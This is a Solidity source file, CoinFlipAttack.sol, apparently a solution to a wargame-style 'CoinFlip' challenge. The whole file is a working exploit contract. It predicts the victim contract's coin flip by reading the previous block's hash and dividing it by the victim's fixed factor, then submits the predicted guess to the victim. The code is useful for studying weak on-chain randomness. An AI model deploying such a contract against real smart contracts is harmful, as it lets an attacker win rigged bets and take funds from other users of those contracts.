CoinFlipAttack.sol

pragma solidity ^0.6.0;

import "./coinflip.sol";

contract CoinFlipAttack {

    CoinFlip public victimContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _victimContractAddr) public {
        victimContract = CoinFlip(_victimContractAddr);
    }

    function flip() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number -1 ));
        uint256 coinFlip = uint256(blockValue / FACTOR);
        bool side = coinFlip == 1 ? true : false;

        victimContract.flip(side);
    }

}